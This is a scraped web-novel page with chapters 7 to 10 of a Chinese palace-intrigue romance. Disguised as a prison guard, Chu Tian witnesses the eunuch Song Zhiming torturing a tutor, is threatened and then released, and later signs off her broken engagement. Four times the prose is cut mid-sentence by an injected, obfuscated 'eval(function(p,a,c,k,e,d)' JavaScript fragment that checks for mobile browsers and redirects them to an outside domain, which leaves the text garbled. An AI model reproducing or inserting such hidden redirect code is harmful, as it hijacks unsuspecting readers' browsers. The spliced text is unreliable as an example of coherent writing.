宋知明哪来的这么大派头！喝就喝，不喝就让她走！让她站在这里当摆设吗，摆的哪门子架子给谁看啊…… “大人，”这时葛术过来了，他俯身跪在地上，双手握拳，“那人嘴硬得狠，还不愿招。” “是么？”宋知明挑了下眉。 “属下办事不力，请大人责罚。” 宋知明站起身来，轻飘飘扫了葛术手中握着的皮鞭一眼，皮鞭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647873|172790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原本黑褐色的外壳被浓稠的血色填满，一滴滴暗红色的液体顺着尾端坠落，砸到地板上。 “这么点事都做不好，是该长点教训。“他淡淡道，“自己下去领罚吧。” 墙角的火光不停跳动，宋知明的嘴唇始终抿成一条直线，没有丝毫的松动，脸上的神情仿佛被一层薄纱轻轻笼罩，看不真切。 更让人捉摸不透。 葛术听闻这话，不敢迟疑，忙应了声“是”便退了下去。 楚湉暗道一声不好，自己怕是正撞上宋知明带人审案的时候了，也难为那牢里的不知是审问的什么人，那么凄厉的喊叫她听着都心惊，居然这都忍下来了。 天知道她有多羡慕刚才从大牢里走出去的人，她巴不得和他一起离开这个是非之地，再留在这里，就算宋知明没有发现她的身份，也难保不被他的怒火殃及。 毕竟楚湉可不想把命留在这里。 楚湉的脑子飞速转动，思索着有何方法让她能名正言顺地从这座牢里走出去而不引起宋知明的怀疑，不然再被晾在这里，她都怕自己脚软摔下去。 可是此时若是开口，难保不撞到枪口上。 她只能默默伸了伸弯着的腰，先换了个舒服些的站姿。她手脚挪动得十分缓慢，好在这衣物宽大，正好给她做掩饰。 楚湉自以为这动作十分的细微，若不仔细看，应该不会发现她。 却不曾想，宋知明正径直盯着她。 比楚湉更惶恐的还有带她进来的那名狱卒，他本恭立再一旁，此时心都快要从嗓子眼跳出来。 到底是女扮男装，饶是楚湉有心遮掩住自己的身形体态，手臂那一截露出的洁白的皓腕正在火光之下泛着明亮的光泽，欺霜赛雪。 狱卒眼睁睁看着宋知明的目光停留在楚湉身上，只觉脖子一痛，也不知这颗脑袋还能挂在脖子上多久，也许马上受刑的就轮到他了。 楚湉也觉察到了异样，这么久过去了，怎么不见宋知明的任何动静…… 她稍稍仰起头，努力抬高一些看看此刻的情况。 她佯装不经意地抬眸，用眼角的余光悄悄朝那宋知明那处瞥去，待看清宋知明正恰好对着她这方时，心中警铃顿时大作。一颗心的心跳陡然加快，“怦怦怦”地撞击着胸膛，仿佛要冲破胸腔而出。 幸而，这时宋知明却转过了身子。 宋知明的步子迈得很快，不多时两人之间的距离就被拉开。 楚湉目睹他的步伐离她越来越远，心中的石头迫不及待要放下，方才她竟然都忘记了呼吸，脑海中也不知在想什么，脚也像生了根一般牢牢地扎在地上，浑身的血液都像是凝固了。 她的脚软绵绵的，每走一步都像是踩在棉花之上。 但是却耽搁不得了，她不能等宋知明回头，她要趁着这时候溜出去！ 然而还没等她擦去额头上冒出的细密汗珠，宋知明却突然叫住了她。 他忽地转身，对着躬着身往后退的楚湉一指。 “你，过来。” 8. 第 8 章 “端起你手中的茶，随我一道。”宋知明微掀眼皮，径直吩咐道。 楚湉心跳如鼓，数不清这已是今日第几次从鬼门关擦身而过，而宋知明竟要她一起。 去哪？ 楚湉怎么也没想到大理寺狱中竟有这样的地方，昏黄的烛火幽幽地烧着，勉强照亮身前这处狭小的屋子。 说是屋子，却又不太像，四周都是厚重的石块堆砌而成，关上门后，仿佛与世隔绝。 “太傅方才还叫的那么大声，现在怎么不说话了？” 楚湉还未来得及从眼前的一切反应过来，就听到宋知明清幽的语气缓缓落下。她顺着宋知明的目光望去，顿时便愣在了原地。 屋子的中央，有个人影四肢都被绳索捆住，悬挂在地上一尺的距离。他的衣衫，不，更像是破碎的布条摇摇欲坠地挂在身上，浑身上下到处都是触目惊心的伤痕，汩汩的血水抑制不住地直往外冒，同周围那些青紫肿胀发烂生脓的皮肉一起不堪入目。 更让楚湉崩溃的是，这人她认识。 谢太傅长得儒雅性子随和，楚湉年幼时还曾受过他的两句教诲，所以她几乎是立马认出来了他。但她怎么也想不到，灭门惨案之后谢太傅居然还活着，且被关在了大理寺当中。 但竟是以这样凄惨的面目再次遇见，楚湉不禁去想，这样活着，还不如直接死了会更加解脱。 有那么一刻，楚湉几乎都后悔没有在大理寺少卿面前直接表明自己的身份了，她擅闯大理寺固然应该治罪，怕是免不了责罚。 那也好过落在宋知明手中千百倍不止。 谢太傅失血过多，刚又挨了一顿鞭子，早已是有气无力，那双眼睛在看清是宋知明之后死死地瞪着他，最终从牙缝里挤出一口沾了血的唾沫，恶狠狠朝宋知明淬过去。 “阉贼，你……不得好死！” 宋知明身形轻挪，便不费力地躲过去了。 谢太傅拿他毫无办法，只能把满腔怒火化成最恶毒的言语，恨不得化成刀子把宋知明身上捅出血窟窿才好。 一连被骂了许久，宋知明都没有吭声，最终谢太傅却是最后一丝力气也无，骂不出来了。 他对谢太傅的辱骂恍若未闻，见他沉默之后却好似不乐意了：“难为谢大人三寸不烂之舌，咱家正洗耳恭听着呢，怎么不骂了？” 谢太傅许久没进过一滴水，嘴唇早已干裂起皮，结成痂块，稍稍用力便往外渗着血珠子。 楚湉不忍再看。 “拿这壶茶，去给谢太傅润润嗓子吧。”宋知明的声线淡漠。 楚湉本就尽力掩饰自己的存在，恨不得把头埋到地上才好，宋知明的声音不大，但在此处清晰可闻。 终究，她是逃不脱。 楚湉救不了谢太傅，也救不了她自己。 可是这时候她却生出些莫名的勇气，至少阴差阳错之下，她想帮谢太傅做些什么。 谢太傅垂下眼睛，却见那名小狱卒用衣袖擦了擦杯壁，迈着细碎的步子朝他走过来。他被折磨了这些日子，身后的伤口总是旧伤未愈就添新伤，宋知明只想留着他的命，并未找人给他治伤。 就算别人不说，他也清晰地明白，那些皮肉散发些难闻的腐臭。 看那小狱卒的动作，只怕是舍不得他那个杯子。谢太傅从未想过自己有一日竟会被他这样的小人物嫌恶，满目悲怆。 楚湉努力踮起足尖，端起杯盏缓缓靠近他的唇，却又怕弄洒了，动作刻意放慢。 宋知明漫不经心地看着那截细嫩的手腕端着个黑色的陶杯，小心翼翼靠近。 一黑一白，白的那一处晃眼。 衬得那平平无奇的杯子的身价都高了。 终于到了谢太傅的嘴边，他再是傲骨铮铮，在那甘霖的诱惑之下，也弯下了头颅，极力靠近了水源想要大口啜饮。 楚湉感受到了谢太傅的急切，用力把手抬得更高了些。 谢太傅干裂的嘴唇刚要触碰到那抹清凉，忍不住惊喜。 就在这时，静谧的空气中突然传来一阵细微的风声，紧接着一道寒芒闪过，楚湉甚至都没看清是何物闪过去，就感觉手指淌下一片温热。 杯子碎裂，留下一手的碎片。 满满当当一杯水，一滴不剩全都顺着楚湉的胳膊流下来。而谢太傅，恐怕是滴水都未沾到。 “死太监，你索性给我个痛快的死法吧，别再折磨我了。”谢太傅明白这是宋知明的作弄，他就是想看他生不如死，跪下来求他。 而很显然，宋知明这招奏效了。 “想死？”宋知明手指顺着衣袖的纹路，轻轻抚平了方才动出来的那丝褶皱，嘴角勾起一抹弧度，“哪有那么容易。” “谢大人不是还有个儿子送出去了吗，死之前怎么也要父子团聚见上一面不是？” 谢忠最后一丝心理防线彻底被击溃。他拼命拉扯着手上的链条，想要挣扎出来。铁链摩擦得他的手血肉模糊，他仿佛失去了知觉。 “宋知明，你就该下地狱，就算我死了，也会化作厉鬼来索你的命！” 宋知明不语，只冷笑了声。 楚湉被谢太傅歇斯底里的模样吓到，呆呆地愣在原地，究竟是有什么样的恩怨，宋知明竟要赶尽杀绝做到这个地步，她实在想不明白。 难道就真的只是一句政见不合？ 宋知明今日身着楚湉初见他那日所穿的红色袍子，挺拔的身姿下却透着狠厉的气息，楚湉不敢再直视他第二眼。 她也终于明白了谢府门口见到他时，他为什么身上除了甘松和龙涎香，还有其它不协调的气味。 那是长年累月沾血，洗不掉的血腥味。 楚湉忍不住蹙眉，眼里不自觉流露出厌恶之色。 仅剩的烛火快要燃尽，很快用人送上新的来，宋知明接过了那只那点燃的蜡烛，橙黄色的光亮随着他的走动而晃动。 楚湉怕黑，目光紧紧追随着他手中的烛光。 随着宋知明的止步，原本隐匿在黑暗当中的一整面墙被照亮。 刹那间，楚湉的双眸不自觉瞪大了。 那整整一面墙，竟密密麻麻挂着各色的刑具，楚湉从未见过这些，却不妨碍根据它的形状而辨认出来，有带铁刺的鞭子，夹手指的拶子，还有尖锐无比的铁钳…… 无一例外的是，上头或多或少沾着或是已经干涸或是新染上的血渍。 单单只是瞧着，楚湉都仿佛切身体会到了那扎心的痛意。 宋知明的手指隔着空气从上头的刑具抚过，“啧”了一声，“不怪谢大人嘴硬，大理寺还是留了情面，咱家这就给谢大人挪个窝，去东厂换点新的花样尝尝。” “不过大理寺这拶子总还算不错，可惜用在女子手上才更好。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647874|172790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的视线轻飘飘的略过楚湉，停留在谢忠身上：“谢大人见多识广，应该听过这物的用法吧？把柔弱无骨的纤纤玉指塞进去坚硬的檀木之中，刚开始并不会疼，随着绳索拉紧，才能体会到钻心之疼，到时候便会像那柔软的杨柳枝一般随风摇曳。点点红梅染上去，大抵十分好看。” 楚湉猝不及防对上了宋知明的眼睛，下意识往后退了一步，目露警惕地看着他。 明明并未触碰到那些刑具，却已经有识眼色的太监送上了干净的帕子呈上来：“大人，净手吧。” 宋知明微微抬手，拈住一角接过去，不紧不慢地展开帕子，一根一根擦拭着，动作慢条斯理，连指缝都不放过。 太监恭敬地立在一旁，等着他净手完，把帕子收走。 宋知明爱洁，几乎是到了吹毛求疵的地步，他们这些伺候的下人也不敢催促，只默默地等着。 楚湉真不知道有什么好擦的，他要是真的如此厌恶这些脏东西，何必让别人受刑？但她这些腹诽只敢在心里悄悄说，她到现在还留着条命，自然是要好好活着出去才行。 伺候的太监没等来宋知明伸手，怎么也没想到提督大人手腕轻轻一扬，竟直接把擦完手的帕子朝着角落那名狱卒丢了过去。 不偏不倚，正好砸在楚湉脸上。 她翕动鼻尖，全是冷冽的甘松气味，她下意识地接住，满眼都是不可置信。 “擦擦。”宋知明言简意赅。 楚湉不明所以，让她用这狗太监擦过手的帕子，若是放在平时她定然不会多看一眼，眼下到了这样的境况，她依旧不情愿。 方才她全然忘了衣袖被茶打湿的事，若不是宋知明出手，她还不会发觉原本温热的水早就凉透了，湿哒哒地黏在她的手臂上。 然而比起宋知明此刻注视着她的眼神，这显然并算不上什么事。 他的目光冰冷，缓缓地扫过她的手。所到之处，楚湉只觉一阵恶寒，鸡皮疙瘩瞬间爬满了全身，好似有一条冰冷滑腻的蛇正沿着肌肤蜿蜒爬行。 楚湉强忍着心中的不适，把那帕子收起来，轻声道：“多谢大人。” 小太监却看出了她的不识抬举，提督的赏赐，天大的面子，她迟迟不动是何意，难不成是嫌弃？那可真是不要命了。 被几道目光齐齐注视着，楚湉僵直着背脊，缓缓抬起手，手中的帕子像是有千斤重。 如此简单的擦拭动作，她却仿佛很生疏，只一昧机械地重复着。 饶是如此，雨后嫩笋一般的十根手指却分外吸睛。指甲圆润晶莹，透着粉色的光泽。 纤长的手指轻轻弯曲又伸展，指节微微凸起又平复，一举一动都让人挪不开眼。 小太监的呼吸不自觉一滞，想不到这御卒竟有这么一双妙手。 宋知明嘴角却噙起若有似无一抹笑意： “这手生得漂亮。” “真适合尝尝拶子的滋味。” 他缓缓踱步至楚湉跟前，捏住楚湉的下巴，迫使她的视线与他平齐。 楚湉直视着他，竭尽全力保持着镇定，身子却无法克制地紧绷起来。 宋知明手指收紧，明明已经掐出一片红痕，楚湉依旧不动。他倾下身子俯在楚湉耳畔，感受着她隐忍的颤抖。 忽然嗤笑一声，一字一句道。 “还要再演下去吗？” “楚姑娘。” 9. 第 9 章 楚湉的眼睫止不住地颤，后背早已被冷汗浸湿，她的脑子飞速运转着。 宋知明是何时发现的？她今日特地乔装打扮了，脸色涂了碳粉，见到他后也一直刻意低着头，避免被他撞见真容，她自认为已经十分的小心谨慎。 莫非是方才给谢太傅送水时抬起头的时候，可他若是那时便发现了，为何不立即戳穿？ 还是说，他早就看出来了？ 楚湉脑子里乱糟糟一团，毫无头绪可言。再装傻充楞，显然不现实。 “见过宋大人，”楚湉轻垂眼皮，小声唤了一声。 没有刻意伪装的声线带着女子天生的温软，每一个字都像是被那蜜糖浸润过一般，软糯清甜。她放低了姿态，试图用轻轻柔柔的声音唤醒眼前人的一丝良知与同情。 自古美人落难总是惹人怜惜的。 但显然，这招放在旁人身上也许还有用处，在宋知明这儿，压根行不通。 宋知明居高临下地看着她，眼眸深邃如幽潭，仿佛笼罩上冬日里清晨最凛冽的寒霜，眼神里没有丝毫情绪波动。 “来人，押她下去。” 他有意加重了这个“押”字的分量，听在楚湉的耳朵里格外刺耳。 要把她关到牢里去吗？也是，擅闯大理寺探望犯人可是大罪，楚湉小脸顿时煞白，面如死灰。 宋知明命令刚下，便有两名太监上前，粗暴地抓住了楚湉的双臂。他们的力度之大，让楚湉忍不住吃痛嘤咛了声。 “宋大人要把我带到哪里去？即便我有罪，也该交由大理寺审理，你绝不能……”她秀美紧皱，原本灵动的眸子也因为痛意蒙上了层朦胧的水雾。若真如宋知明所说要把她的手去行刑，那她的手绝对会废掉，就算没有性命之忧，也会成为不折不扣的废人。 “不能怎么？”宋知明挑眉看她，问道。 “动用私刑。”楚湉硬着头皮，尝试着和他讲道理，“按照我朝律例，扰乱司法秩序，要移交大理寺视情节处理，最严重者不过是笞杖之刑。” 宋知明扯动了下唇角，“楚姑娘不愧是御史之女，这倒是背得熟练。确实该这么办才是。” 楚湉不可思议地仰起头，眼里泛起潋滟的波浪，宋知明竟这么轻易地被她说服了？ “不过，”宋知明幽幽看向那双猛地燃起希望、好似盛着繁星的眸子，拖长了尾音，“楚姑娘不知道吗？律例是律例，可管不到我的头上。” “咱家向来只凭心情办事。” 宋知明那双狭长的眼眸微微扬起，其中透着慵懒的光，仿佛世间诸事都渺小如尘埃，尽是些无趣之物。 他不过睨了一眼身边的几个手下，立马就有人拿布条塞住了楚湉的嘴，紧跟着楚湉的眼睛也被蒙上了，世界变得黑咕隆咚的，唯有肩上的痛意能够清晰感知到。 楚湉蒙住的眼里满是愤怒，手不自觉抵成了拳。她的指尖因为用力而泛白，粉色的指甲都失了颜色。 楚湉花了许久才适应眼前的黑暗，黑暗使她的听力与嗅觉变得敏锐，她不放过一丝动静，努力分辨自己正往哪儿去，以及有没有逃脱的可能性。 滴答滴答的水声在这幽闭的牢里回荡，落在她耳中愈发清晰，好似是死神在倒计时般，每一声都叩在她的心上，仿佛在预示着前路的危险。 偶然有颗冰冷的水珠溅到她身上，更是让楚湉如遭电击，浑身的汗毛都竖了起来。 不知是被押着走了多久，两个太监停了下来，随后终于松开了紧扣楚湉双臂的手。 又听见“吱呀”一声响。 是开门的声音。 楚湉只觉手臂阵阵酸麻，脚也倦极了，想要坐下来歇歇。却不敢再往前走一步，生怕一不小心就真入了宋知明的刑罚当中，便再也走不出去了。 太监倒是也不催她，一改之前粗暴的态度，静静地候在一旁，等着楚湉的动作。 前方只怕就是要受刑的地方，楚湉心中充满悔意，她不该贸然来这，更不该惹上宋知明这座瘟神，若真是废了手，她该怎么办？ 楚湉默默地往后退了两步，试图离那门再远一些，仿佛这样就能安全些。 就在她欲哭无泪之时，身后传来个熟悉的声音。 “楚姑娘，到了。”宋知明提醒道。 听闻这话，楚湉的指甲不自觉嵌进了掌心，却浑然不觉疼痛。她想要把宋知明碎尸万段，怎么会像他这样动用私刑、无法无天的人，居然还敢这么嚣张。 明明是寒冷的冬日，楚湉的额头上却沁出细密的汗珠，起初薄薄的一层，最终汇聚起来顺着脸颊滑落。 她脸上涂抹的碳粉也被一点点浸湿，晕染开来，斑驳的粉末之下露出原本肌肤的颜色。 白皙娇嫩。 如同花骨朵般姣好的容貌，与身后潮湿幽暗得如同要吃人的牢笼格格不入。 时间分分秒秒流逝，短暂却格外煎熬。 宋知明开口催促道：“等了这么久，咱家的耐心也是有限的。” “不妨这样，楚姑娘，你做个选择，往前一步还是往后走？若选对了，兴许有惊喜。” 楚湉听了这话，明白了他的意思，宋知明不知道又在耍什么心计，赌她现在什么都看不清，也不知道是不是挖了什么坑等她去跳。 前面不知是什么地方。 可后面她来时的路，她自然是知道的，必定是安全的。 理智告诉楚湉，她应该往后走，起码不会受刑，可是宋知明会这么轻易放过她吗？ 思虑再三，最终楚湉却做出了与开始截然不同的决定，她深深吸了一口气，步履坚定地往前迈了一步。 “你想好了？”宋知明薄唇微抿。 楚湉点点头，她毫无把握，只能赌。 覆盖在眼睛上的布条哗的一下被扯下，楚湉下意识的闭眼，生怕见到什么瘆人的场面。 她的肩膀被人推了下，楚湉踉跄着往前一步，不自觉睁开了迷蒙的眼睛。 刹那间，有光亮扑面而来。 并非是什么牢狱，眼前也没有望而生畏的刑具。 暗道的门静静敞开在她眼前，墙上挂着零星几盏烛火，楚湉认出来，这是一开始狱卒领她出去的路。 宋知明怎么会带她来这里，这明明……是出去的路…… 楚湉回过头，不解的看向始作俑者，眼里全是不解，宋知明葫芦里到底卖的哪门子药。 “还不走？”宋知明慢悠悠地转动着手中的玉扳指，好整以暇的对上她视线。 他身子前倾，冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647875|172790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 峻的面容被黯淡的烛火照亮半边，慢悠悠勾起楚湉散落在鬓间的一缕秀发，语气似乎是在惋惜，“再不走，我可不会给你第二次选择的机会。” 忽明忽暗的烛光跳跃之下，宋知明的神色莫辨。 楚湉极快地反应过来，本还有些震惊，听到他的后半句直接撒腿狂奔起来。 她的步子迈得很大，如被猎人盯上之后受惊的兔子一般，宽大的裤腿在跑动中晃出慌张的弧度，她甚至不敢回头看一眼，用尽了所有力气在跑，唯恐宋知明反悔。 “大人，就这么放她走了？还要捉楚姑娘回来吗？”来福盯着那飞快消失的背影，实在没有弄清自家主子这是何意，兜了这么一大圈，就为了同一个女子演这出戏然后放她走吗？ 要知道提督大人向来不会在小事上费工夫，何况他今日又着红衣，跟着宋知明久了，他手底下的人都知道，若是提督哪日穿红衣，当日必定是要见血的。 所以当那楚姑娘的身份暴露时，他们全都理所当然地认为那楚家的姑娘难逃此劫了。 可提督就这么轻易地让人走了？ 不怪来福这么问，毕竟宋知明最擅长玩弄人心，在给人希望之后又亲手在他们面前扼杀掉，然后欣赏猎物求死不得的惨状。 这已是宋知明手下这帮人能想到的为数不多能让他愉悦心情的方式。 “嗯。”宋知明挪开视线，淡淡应了一声。 来福便准备领兵，躬身道：“是。属下这就派人把她捉拿回来。” “……” 宋知明原本柔和的目光瞬间变得凌厉无比，眼里满是不耐，“我说放她走，听不懂人话吗？” 来福哪能想到自己揣测错了意思，慌张地连忙跪下认错，怎么也没想到这楚家姑娘竟成了多年来从未见过的例外。 幽长的密道里，蜡烛的火苗越来越小，原本拉长的影子也渐渐萎缩，最后仅存的一点光亮越来越微弱，最终“噗”的一声彻底熄灭了。 密道像是被一只巨大的黑手罩住，陷入了绝对的黑暗。 眼前的所有仿佛顷刻间消失不见，四周全是令人窒息的寂静，饶是如此，楚湉依旧不敢停下来。 她伸手触摸着坚硬的石壁，摸索着前进的道路，一点一点往前走。却猝不及防踩进前面一个水坑，溅起的泥点子到处都是，楚湉差点被绊倒而摔上一跤。 她鼻子一酸，眼底的泪差点没忍住掉下来。 费了好大的力气，终于走出了出口。 楚湉用力推开那扇沉重的大门，一束阳光便迫不及待洒到她身上，暖融融的气息把她浑身每个毛孔都抚平。 久违的温暖触感，楚湉忍不住迈了两步，大口呼吸着外面的清新空气，轻柔的风微微拂过她的脸颊，似乎是在抚慰她的心灵。 身后并没有追兵。她应该是安全了。 明明进去了的时间一个时辰都没有，楚湉竟生出些恍若隔世的感觉，劫后余生的欣喜涌上心头，笑着笑着她的眼泪却簌簌地落了下来。 她哭得肩膀抖动，背脊却依旧挺得笔直。恰似亭亭玉立的荷叶茎秆，纤细却坚韧。 …… 不远处，宋知明眸光平静地看着那抹小小的身影。 不知为何，竟多停留了一瞬。 10. 第 10 章 楚湉这一回去，便病倒了。楚府请了几个大夫去瞧，开了好多的方子，又抓了许多的药。 一连喝了好几日的药，楚湉这病也不见得好转，楚夫人急得团团转：“这是怎么了，莫非真是天要亡我楚家不成？” “母亲千万保重好自己的身子，别为我忧心，女儿这病很快就能好的。” 楚湉张了张嘴，喉咙里便全是中药的涩味，在床上躺了几日，身上所受的外伤也已经好得七七八八。 其实无需大夫诊断，她自己都明白，她这是心疾。 她只要阖上眼睛，记忆就被拉回入大理寺那日，入目便全是那些腐烂红肿的皮肉，那些令人作呕的味道仿佛藤蔓一般将她死死缠绕住，不给她任何逃离的机会。 而最让她不愿回想到的，是宋知明那双凉薄的眼睛。只要思绪停留，楚湉就好似失了魂魄一般，整个人都没了光彩。 送走夫人之后，冬至看着自家小姐本来就不丰润的面颊又消瘦了两分，很是心疼，却又不敢多问那日究竟发生了何事，小姐要她守口如瓶，不许对任何人再提起这事，冬至便只好沉默下去。 不过小姐平日里待她那样的好，冬至总想为小姐做些什么。“听说城东新开了家甜点铺子，我今日出去给小姐买些回来，小姐可有什么想吃的？” 却看到自家小姐原本娇艳的脸上此刻透着病态的苍白，双眸也微微失神，楚湉偏头问道，“冬至，你方才说什么？” 冬至瞧出了她的心不在焉，便又将话重复了一遍。 闻言，楚湉露出一抹淡淡的笑：“不必特地去跑一趟，我……吃不太下这些。” “小姐……”冬至压抑的心事再也藏不住，染上了哭腔，“你这样可怎么是好呀，人已经瘦了一大圈了，再这么下去，呜呜呜。”冬至抽噎不止，眼泪好似决堤了，怎么也止不住。 “长姐，”楚欣欣伸手推开门环，人还未到，雀跃的声音便传入了屋里。她快步走到楚湉跟前，话里全是藏不住的欣喜，“你猜谁来了？” 冬至忙匆匆背过身去拭泪，楚湉拍了拍幺妹的手，身上并没有多少力气，却拿出了精气神，努力配合道：“这么开心的样子，让我猜猜……” 她脑子转了一圈，把能想到的人都思索了遍，却想不出，如今这时候，还愿意同楚家往来的人家。 “哎呀，不打哑谜了，我直接告诉你！”楚欣欣迫不及待揭晓了答案，俯在楚湉耳边，低声道，“姐夫同他家里人过来了，正在前厅呢！” “定是知晓姐姐病了过来探望的，我就说嘛，姐夫怎么可能知道姐姐病了不心焦。” 楚湉眼里闪过一丝不可置信，谢家？ 那日谢家明明将她拒之门外，而且她分明瞧见宋知明进了谢家的门，他们怎么会过来？ “你是不是看错了？”楚湉问她。 楚欣欣却十分肯定：“怎么可能，我分明瞧见了姐夫的身影，姐姐你若是不信，大可随我一起去瞧瞧，我定然不会看错。” 楚湉沉寂已久的心突然狂跳起来，一缕希望油然而生。若真如妹妹所言，救父亲的事情是不是还有希望？ “带我过去。”楚湉匆匆起身，披上了外衣。 寒冬腊月，朔风凛冽。院里原本长得郁郁葱葱的松柏，如今光秃秃一片，松枝落在地上，踩得咯吱地响。 楚家的前厅里。 楚夫人颤抖着接过退婚文书，迟迟不愿相信自己亲眼所见：“怎么能这样，退婚？说好明年就将湉儿许配过去的，怎么能说退就退？” “事已至此，多言也无用，”谢致扭过头去，“这文书，谢家已经签字画押了，只要你家签个字，这门婚事便不作数了。” 楚夫人听到他此番如此决绝的语气，恨不得把那薄薄一张纸给撕碎，想要当作从未听过，怎么会走到今日这步？上京城里谁不知道两人已经定亲，若是贸然被悔婚，叫她的湉儿日后该怎么做人？以后还会有人敢娶她吗？ “能不能念着往日的情分，这事等我家大人回家再商议？”楚夫人抱着最后的希望，苦苦哀求道。 雕花的门窗半掩，几个人影投射在窗纸上。 母亲隐忍的哭泣声一声不落传到楚湉耳里。谢家的冷漠与母亲的卑微形成了鲜明的对比，楚湉毅然起身，迈开步子。 “姐姐，你别冲动，”楚欣欣试图去拉她的手阻止，“也许是弄错了，说不定这事还有转圜的余地。” 让她忍下去，无动于衷地继续看着他们羞辱楚家的脸面吗？ 楚湉蓦地笑了，用力抽出了自己的手，挺直了身子，一步一步走到前厅当中。 “这字，我签。”她毫不犹豫地拿起搁置在一旁的笔墨，立刻蘸饱了墨汁。 谢尚似乎没料到楚湉竟会突然出现，当即便瞪大了眼睛。旁人都说她病了，在屋里养病，人瞧着确实比之前瘦了，她怎么会突然出现在这里？ 这一眼便再难移开。 楚湉眉如远黛，长睫如扇，虽沾着几分病气，更显身姿羸弱。 谢尚的心轰地坍塌一片，他求助地望向父亲，想要收回退婚的决定。他明白若楚湉签了，他和她这辈子都完了。可父亲冷冷瞥了他一眼，再也无动于衷。 墨汁凝聚在笔尖，楚湉决绝地签下了自己的名字。她的书法是父亲教的，一撇一娜，起承转合，写出来的字工整又不失端庄，这是父亲教她的风骨。 “字我签了，你们走吧。”楚湉竟没想到，签完这字之后出乎意料地十分轻松。 “从今以后，楚家和谢家之间，再无瓜葛。”楚湉转过身去，扶起母亲，让她倚靠在自己的肩上，紧紧攥住了她的手。 “阿湉，”谢尚恋恋不舍地唤她。 退婚文书上赫然的字迹灼伤了谢尚的眼睛，若她不愿意，他起码还能再去求求他的父亲。 楚湉从始至终看都没看谢尚一眼。 “恕不相送，拿了你们想要的就走吧，从前送过去的定亲物件，我会整理完毕之后系数退还。” 冰冷的语气，冷淡如霜，哪像是有半分留恋的样子？谢致看了一眼不争气的儿子，唯恐他多生事端，拿了退婚文书拉着他就往外走。 “湉儿，我可怜的湉儿，让你受委屈了。”楚夫人眼含热泪，万分心疼去摸女儿的脸。 “母亲别哭，是我自己要签的，”楚湉低低唤了一声，柔顺地去蹭她温热的掌心，佯装出不在意的模样。 按道理，她是该觉得委屈的。父亲落难、郎君悔婚，她从未想过这样的事会一起发生在她头上。可是事情都已发生了，她再抱怨有什么用呢？ 毕竟都到了这个地步，总不会更加糟糕……只要她还活着，她就会一定会想办法救父亲出来。她们一家人团聚，比什么都要重要。 午后，楚湉好不容易把母亲哄好了些，回到了自己的屋子里。又喝了一壶刚熬好的药，楚湉舌尖都泛着苦。 楚欣欣怕她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647876|172790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想不开，一直守在旁边。冬至更甚，三番两次便扭过头去擦着眼睛，眼圈红成了小兔子一般。 “冬至，你不是说给我去买糕点吗？”楚湉伸手拉住了她的胳膊，摇着娇嗔道，“我现在想吃了，好嘛？” 一双晶亮的眸子当中好似有盈盈秋水在荡漾，看得人心软软的。小姐平日里很少露出这般模样，一旦如此，冬至便毫无抵抗之力，忙不迭点头：“我这就去，小姐等着。” 冬至匆匆便往城东的铺子赶，排队的人很多，冬至却丝毫不在意，只想着一定要让自家小姐吃上才好。可是不巧，那铺子生意火爆，还没排到冬至时，就已经卖完了。 冬至急得站在原地团团转。小姐吃了那么多的苦，受了那么多的委屈，好不容易想吃点什么，她竟这都办不到吗？于是她跑到了铺子门口，央求那掌柜的想想办法，她声音里带着哭腔：“我加银子行不行，求求你了。” “这……”掌柜的并非不愿意帮忙，只是确实都卖完了，他也没办法，“要不姑娘你去问问别人？” 冬至慌不择路地去拦最后排到的几个人，好不容易终于是买到了。她小心翼翼护在怀里，满心欢喜往回走。 “你听说没？楚家的姑娘被退婚了！” “啊，你怎么知道的，什么原因啊？”听到的那人似乎很是震惊。 “还能是为什么，”挑起话端的妇人嗑了口瓜子，“楚家姑娘顶着张那样招摇的脸，不安分呗。不然谢家那么好的人家，怎么会轻易退婚？” 几人叽叽喳喳的议论，一字不落传到了冬至耳里。 “你们不许胡说八道！你们胡乱传谣，信不信我把你们告到官府去！”　